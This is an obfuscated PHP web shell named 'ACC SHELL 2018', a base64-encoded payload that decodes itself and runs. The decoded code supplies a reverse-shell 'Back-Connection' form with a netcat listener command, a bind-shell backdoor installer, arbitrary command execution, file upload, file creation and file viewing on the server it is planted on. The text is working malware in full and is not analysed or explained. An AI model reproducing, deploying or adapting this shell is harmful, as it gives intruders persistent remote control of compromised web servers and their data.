lVSmljcUlTSGw0Q0FBUEQ0LytEZzhQWDYvNU9YcEw3SDArLzIvYUdtc1RJeU10VGM1UC8vc2ZMNS84WEYiLgoiSGdCWXB3QlVsZ0JXbjFCUUFHOGFJQUJRaFJiZm13RGNrditIMTFub3VFTGxyaXppcGYrVjNuUEEvNDBDVXptbS93QTRYaFZEQUFHRCIuCiJVeVdkLzBpdC8xdTEvM056QVA5NTBQOTkwbU81Lzd2MTRZenZ6WExyd29YSS81dlMvN0RrL3dCWG92OXN5dlJqd09oYXRRQ0hWMTdwIi4KInVvMEdVUUJXblArKzhMbTVBUCtqNVFCVWxBQ0tXZ0E0YmpKUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFlZWdBS0NnNFNGU3hZTkV3NGdNZ1NPajQ4REZBY0hFVUlaUkVZb0pEUXpQVDQvQXdjUUNRa2ciLgoiR3dpcHFxa3FBeElhRlJnWER3TzF0cmNBdWJxN3ZJZUpEaXdoQmNQRXhBeVRsU0VaT3pvNUtUVXhNQ3N2REtPbFNSc2NIRHdlSGtNZCIuCiJIVWNNcjdHekJ1Zm82QXk4N0x1K2lpMGZBZlAwOUF2SUVSOFpOamM0UVNVbVRvZ1lzY0JhQWlWRmtDaFl5QkNJaXdYa1pEMm9SM0ZCIi4KInU0dExBZ0VBT3c9PSIsCiJleHRfdHh0Ij0+CiJSMGxHT0RsaEV3QVFBS0lBQUFBQUFQLy8vOGJHeG9TRWhQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBVEFCQUFBQU5KIi4KIlNBckUzbERKRmthOTFyS3BBL0RnSjNKQmFaNmxzQ2tXNnFxa0I0anpGOEJTNjU0NFc5WkFXNCtnMjZWV3hGOXdkb3dabXpubEV1cDciLgoiVXBQV0czSWc2SHEvWG1SanVad2tBQUE3IiwKImV4dF93cmkiPT4KIlIwbEdPRGxoRUFBUUFETUFBQ0g1QkFFQUFBZ0FMQUFBQUFBUUFCQUFnLy8vL3dBQUFJQ0FnTURBd0lDQUFBQUFnQUFBLy8vL0FBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUlJVTWhKa2IwQzZLMkh1RWlSY2RzQWZLRXhra0RnQm9WeHN0d0FBeXBkdW9hbyIuCiJhNFNYVDBjNEJGMHJVaEZBRUFRUUk5ZG1lYlJFVzh5WEM2TngyUUk3THJZYnRwSlpOc3hnelc2bkxkcTQ5aElCQURzPSIsCiJleHRfeG1sIj0+CiJSMGxHT0RsaEVBQVFBRVFBQUNINUJBRUFBQkFBTEFBQUFBQVFBQkFBaFAvLy93QUFBUEh4OFlhR2hqTm1tYWJLOEFBQW1RQUFnQUNBIi4KImdET1pBRE5tL3pPWi96UC8vOERBd0RQTS93QUEvd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBVms0Q0NPcEFpZDBBQ3NiTnNNcU5xdUFpQTBBSnpTZGw4SHdNQk9VS2doRUFwYkVTQlVGUXdBQklDeCIuCiJPQUFNeGViVGhtQTRFb2NhdGduWUtoYUpoeFVySUJOcmg3anl0L1BaYSswaFljL24wMlY0ZHpadWZZVi9QSUdKYm9LQlFrR1BrRUVRIi4KIklRQTciCik7CiRpbWdlcXVhbHMgPSBhcnJheSgKICAiZXh0X3RhciI9PmFycmF5KCJleHRfdGFyIiwiZXh0X3IwMCIsImV4dF9hY2UiLCJleHRfYXJqIiwiZXh0X2J6IiwiZXh0X2J6MiIsImV4dF90YnoiLCJleHRfdGJ6MiIsImV4dF90Z3oiLCJleHRfdXUiLCJleHRfeHhlIiwiZXh0X3ppcCIsImV4dF9jYWIiLCJleHRfZ3oiLCJleHRfaXNvIiwiZXh0X2xoYSIsImV4dF9semgiLCJleHRfcGJrIiwiZXh0X3JhciIsImV4dF91dWYiKSwKICAiZXh0X3BocCI9PmFycmF5KCJleHRfcGhwIiwiZXh0X3BocDMiLCJleHRfcGhwNCIsImV4dF9waHA1IiwiZXh0X3BodG1sIiwiZXh0X3NodG1sIiwiZXh0X2h0bSIpLAogICJleHRfanBnIj0+YXJyYXkoImV4dF9qcGciLCJleHRfZ2lmIiwiZXh0X3BuZyIsImV4dF9qcGVnIiwiZXh0X2pmaWYiLCJleHRfanBlIiwiZXh0X2JtcCIsImV4dF9pY28iLCJleHRfdGlmIiwidGlmZiIpLAogICJleHRfaHRtbCI9PmFycmF5KCJleHRfaHRtbCIsImV4dF9odG0iKSwKICAiZXh0X2F2aSI9PmFycmF5KCJleHRfYXZpIiwiZXh0X21vdiIsImV4dF9tdmkiLCJleHRfbXBnIiwiZXh0X21wZWciLCJleHRfd212IiwiZXh0X3JtIiksCiAgImV4dF9sbmsiPT5hcnJheSgiZXh0X2xuayIsImV4dF91cmwiKSwKICAiZXh0X2luaSI9PmFycmF5KCJleHRfaW5pIiwiZXh0X2NzcyIsImV4dF9pbmYiKSwKICAiZXh0X2RvYyI9PmFycmF5KCJleHRfZG9jIiwiZXh0X2RvdCIpLAogICJleHRfanMiPT5hcnJheSgiZXh0X2pzIiwiZXh0X3ZicyIpLAogICJleHRfY21kIj0+YXJyYXkoImV4dF9jbWQiLCJleHRfYmF0IiwiZXh0X3BpZiIpLAogICJleHRfd3JpIj0+YXJyYXkoImV4dF93cmkiLCJleHRfcnRmIiksCiAgImV4dF9zd2YiPT5hcnJheSgiZXh0X3N3ZiIsImV4dF9mbGEiKSwKICAiZXh0X21wMyI9PmFycmF5KCJleHRfbXAzIiwiZXh0X2F1IiwiZXh0X21pZGkiLCJleHRfbWlkIiksCiAgImV4dF9odGFjY2VzcyI9PmFycmF5KCJleHRfaHRhY2Nlc3MiLCJleHRfaHRwYXNzd2QiLCJleHRfaHQiLCJleHRfaHRhIiwiZXh0X3NvIikKKTsKaWYgKCEkZ2V0YWxsKSB7CiAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGltYWdlL2dpZiIpOwogIGhlYWRlcigiQ2FjaGUtY29udHJvbDogcHVibGljIik7CiAgaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsKICBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IG1heC1hZ2U9Ii4oNjAqNjAqMjQqNykpOwogIGhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5kYXRlKCJyIixmaWxlbXRpbWUoX19GSUxFX18pKSk7CiAgZm9yZWFjaCgkaW1nZXF1YWxzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkaW1nLCR2KSkgeyRpbWcgPSAkazsgYnJlYWs7fX0KICBpZiAoZW1wdHkoJGltYWdlc1skaW1nXSkpIHskaW1nID0gInNtYWxsX3VuayI7fQogIGlmIChpbl9hcnJheSgkaW1nLCRleHRfdGFyKSkgeyRpbWcgPSAiZXh0X3RhciI7fQogIGVjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2VzWyRpbWddKTsKfQplbHNlIHsKICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGE9PiRiKSB7Zm9yZWFjaCAoJGIgYXMgJGQpIHtpZiAoJGEgIT0gJGQpIHtpZiAoIWVtcHR5KCRpbWFnZXNbJGRdKSkge2VjaG8oIldhcm5pbmchIFJlbW92ZSBcJGltYWdlc1siLiRkLiJdPGJyPiIpO319fX0KICBuYXRzb3J0KCRpbWFnZXMpOwogICRrID0gYXJyYXlfa2V5cygkaW1hZ2VzKTsKICBlY2hvICAiPGNlbnRlcj4iOwogIGZvcmVhY2ggKCRrIGFzICR1KSB7ZWNobyAkdS4iOjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPSIuJHUuIlwiIGJvcmRlcj1cIjFcIj48YnI+Ijt9CiAgZWNobyAiPC9jZW50ZXI+IjsKfQpleGl0Owp9CgoKaWYgKCR4ID09ICJiYWNrYyIpIHsKICAkaXAgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKICAkbXNnID0gJF9QT1NUWydiYWNrY2Nvbm5tc2cnXTsKICAkZW1zZyA9ICRfUE9TVFsnYmFja2Njb25ubXNnZSddOwogIGVjaG8oIjxjZW50ZXI+PGI+QmFjay1Db25uZWN0aW9uOjwvYj48L2JyPjwvYnI+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPkhvc3Q6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWJhY2tjb25uZWN0aXAgc2l6ZT0xNSB2YWx1ZT0kaXA+IFBvcnQ6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1iYWNrY29ubmVjdHBvcnQgc2l6ZT0xNSB2YWx1ZT01OTkyPiBVc2U6IDxzZWxlY3Qgc2l6ZT0xIG5hbWU9dXNlPjxvcHRpb24gdmFsdWU9UGVybD5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1DPkM8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPUNvbm5lY3Q+PC9mb3JtPkNsaWNrICdDb25uZWN0JyBvbmx5IGFmdGVyIHlvdSBvcGVuIHBvcnQgZm9yIGl0IGZpcnN0LiBPbmNlIG9wZW4sIHVzZSBOZXRDYXQsIGFuZCBydW4gJzxiPm5jIC1sIC1uIC12IC1wIDU5OTI8L2I+Jzxicj48YnI+PC9jZW50ZXI+Iik7CiAgZWNobygiJG1zZyIpOwogIGVjaG8oIiRlbXNnIik7Cn0KaWYgKCR4ID09ICJzaGJkIil7CiAgJG1zZyA9ICRfUE9TVFsnYmFja2Njb25ubXNnJ107CiAgJGVtc2cgPSAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXTsKICBlY2hvKCI8Y2VudGVyPjxiPkJpbmQgU2hlbGwgQmFja2Rvb3I6PC9iPjxicj48YnI+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPgogIEJpbmQgUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2JhY2tjb25uZWN0cG9ydCcgdmFsdWU9JzU5OTInPgogIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3VzZScgdmFsdWU9J3NoYmQnPgogIDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdJbnN0YWxsIEJhY2tkb29yJz48L2Zvcm0+Iik7CiAgZWNobygiJG1zZyIpOwogIGVjaG8oIiRlbXNnIik7CiAgZWNobygiPC9jZW50ZXI+Iik7Cn0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+XG4iOwo/Pgo8ZGl2ICBjbGFzcz1iYXJoZWFkZXIyPjxiPi46IENPTU1BTkRTIFBBTkVMIDouPC9iPjwvZGl2Pgo8dGFibGUgY2xhc3M9bWFpbnBhbmVsPgo8P3BocAppZiAoISRzYWZlbW9kZSkgewo/Pgo8dHI+PHRkIGFsaWduPXJpZ2h0PkNvbW1hbmQ6PC90ZD4KPHRkPjxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJjbWQiPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNtZCk7ID8+Ij4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+IC0gPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj4KICAgIDwvZm9ybT4KPC90ZD48L3RyPgo8dHI+PHRkIGFsaWduPXJpZ2h0PlF1aWNrIENvbW1hbmRzOjwvdGQ+Cjx0ZD48Zm9ybSBtZXRob2Q9IlBPU1QiPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT0iY21kIj4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+CiAgICA8c2VsZWN0IG5hbWU9ImNtZCI+CiAgICA8P3BocAogICAgZm9yZWFjaCAoJGNtZGFsaWFzZXMgYXMgJGFscykgewogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMV0pLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1swXSkuIjwvb3B0aW9uPiI7CiAgICB9CiAgICBmb3JlYWNoICgkY21kYWxpYXNlczIgYXMgJGFscykgewogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMV0pLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1swXSkuIjwvb3B0aW9uPiI7CiAgICB9CiAgICA/PgogICAgPC9zZWxlY3Q+IC0KICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+CiAgICA8L2Zvcm0+CjwvdGQ+PC90cj4KPD9waHAKfQo/Pgo8dHI+PHRkIGFsaWduPXJpZ2h0Pktlcm5lbCBJbmZvOjwvdGQ+Cjx0ZD48Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iaHR0cDovL2dvb2dsZS5jb20vc2VhcmNoIj4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNsaWVudCIgdmFsdWU9ImZpcmVmb3gtYSI+CiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJybHMiIHZhbHVlPSJvcmcubW96aWxsYTplbi1VUzpvZmZpY2lhbCI+CiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJobCIgdmFsdWU9ImVuIj4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImhzIiB2YWx1ZT0iYjdwIj4KICAgIDxpbnB1dCBuYW1lPSJxIiB0eXBlPSJ0ZXh0IiBpZD0icSIgc2l6ZT0iODAiIHZhbHVlPSI8P3BocCBlY2hvIHdvcmR3cmFwKHBocF91bmFtZSgpKTsgPz4iPiAtCiAgICA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT0iYnRuRyIgVkFMVUU9IlNlYXJjaCI+CiAgICA8L2Zvcm0+CjwvdGQ+PC90cj4KPHRyPjx0ZCBhbGlnbj1yaWdodD5VcGxvYWQ6PC90ZD4KPHRkPjxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJ1cGxvYWQiPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1pbmlmb3JtIiB2YWx1ZT0iMSI+CiAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkZmlsZSI+IC0gPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJVcGxvYWQiPiA8P3BocCBlY2hvICR3ZHQ7ID8+CiAgICA8L2Zvcm0+CjwvdGQ+PC90cj4KPHRyPjx0ZCBhbGlnbj1yaWdodD5TZWFyY2g6PC90ZD4KPHRkPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT0ic2VhcmNoIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2VhcmNoX25hbWUiIHNpemU9IjI5IiB2YWx1ZT0iKC4qKSI+Jm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJzZWFyY2hfbmFtZV9yZWdleHAiIHZhbHVlPSIxIiAgY2hlY2tlZD4gLSByZWdleHAmbmJzcDsKICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iU2VhcmNoIj4KICAgIDwvZm9ybT4KICAgIDwvdGQ+PC90cj4KPHRyPjx0ZCBhbGlnbj1yaWdodD5NYWtlIEZpbGU6PC90ZD4KPHRkPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT0ibWtmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImZ0IiB2YWx1ZT0iZWRpdCI+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtmaWxlIiBzaXplPSI3MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+IC0gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPiA8P3BocCBlY2hvICR3ZHQ7ID8+CiAgICA8L2Zvcm0+PC90ZD48L3RyPgo8dHI+PHRkIGFsaWduPXJpZ2h0PlZpZXcgRmlsZTo8L3RkPgo8dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPSJnb2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSI3MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+IC0gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJWaWV3Ij4KICAgIDwvZm9ybT48L3RkPjwvdHI+CjwvdGFibGU+CjxkaXYgY2xhc3M9YmFyaGVhZGVyMiBjb2xzcGFuPTI+PGZvbnQgY29sb3I9cmVkPi09WyA8YSBocmVmPSJodHRwOi8vY29kZS1zZWN1cml0eS5vcmciIHRhcmdldD0iX2JsYW5rIj48Zm9udCBjb2xvcj1saW1lPnV6YW5jPC9mb250PjwvYT4gfCBHZW5lcmF0ZWQ6PGZvbnQgY29sb3I9IiM2NkNDMDAiPiA8P3BocCBlY2hvIHJvdW5kKGdldG1pY3JvdGltZSgpLXN0YXJ0dGltZSw0KTsgPz48L2ZvbnQ+IHNlY29uZHMgXT0tPC9mb250PjwvZGl2Pgo8L2JvZHk+PC9odG1sPjw/cGhwIGNoZGlyKCRsYXN0ZGlyKTsgY2Fwcml2OGV4aXQoKTsK')); ?>
ACC SHELL 2018